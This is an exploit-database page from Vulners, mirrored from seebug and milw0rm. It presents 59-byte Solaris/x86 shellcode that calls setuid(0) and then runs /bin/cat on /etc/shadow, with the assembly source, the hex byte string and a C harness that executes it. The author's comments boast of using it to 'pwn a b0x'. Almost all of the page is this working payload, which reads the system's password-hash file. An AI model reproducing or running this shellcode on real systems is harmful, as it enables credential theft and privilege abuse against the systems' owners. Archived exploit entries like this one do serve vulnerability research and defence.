Lucene search
K

solaris/x86 setuid(0), execve(/bin/cat, /etc/shadow), exit(0) 59 bytes

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Solaris/x86 setuid(0), execve(/bin/cat, /etc/shadow), exit(0) 59 bytes exploi

Code

                                                /*
; sm4x 2008
; /bin/cat /etc/shadow
; 59 bytes
; SunOS sol01 5.11 snv_86 i86pc i386 i86pc Solaris
; (port to SunOS to pwn a b0x - thank god for that default __unix__ CRYPT_DEFAULT!!!!)
; this is what happens when ur work takes away root pirv on a SunOS box :-/

global _start
_start:

xor     eax, eax

; --- setuid(0)
push    eax
push    eax
mov     al, 0x17
int     0x91

; --- setup /etc/shadow
jmp     short   load_file
ok:
pop     esi

; setup /bin/cat
push    eax
push    0x7461632f
push    0x6e69622f
mov     ebx, esp

; --- array setup
push    eax     ; null
push    esi     ; /etc/shadow
push    ebx     ; /bin/cat
mov     edx, esp

; -- execve()
push    eax     ; 0
push    edx     ; array { "/bin/cat", "/etc/shadow", 0}
push    ebx     ; /bin/cat
mov     al, 0x3b
push    eax
int     0x91

; --- exit
inc	eax
push    eax
push    eax
int     0x91

load_file:
call    ok
db      '/etc/shadow'

*/

#include <stdio.h>

char code[] =  "\x31\xc0\x50\x50\xb0\x17\xcd\x91\xeb\x20"
		"\x5e\x50\x68\x2f\x63\x61\x74\x68\x2f\x62"
		"\x69\x6e\x89\xe3\x50\x56\x53\x89\xe2\x50"
		"\x52\x53\xb0\x3b\x50\xcd\x91\x40\x50\x50"
		"\xcd\x91\xe8\xdb\xff\xff\xff\x2f\x65\x74"
		"\x63\x2f\x73\x68\x61\x64\x6f\x77";

int main(int argc, char **argv) {
 int (*func)();
 printf("Bytes: %d\n", sizeof(code));
 func = (int (*)()) code;
 (int)(*func)();
}

// milw0rm.com [2008-12-02]
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
11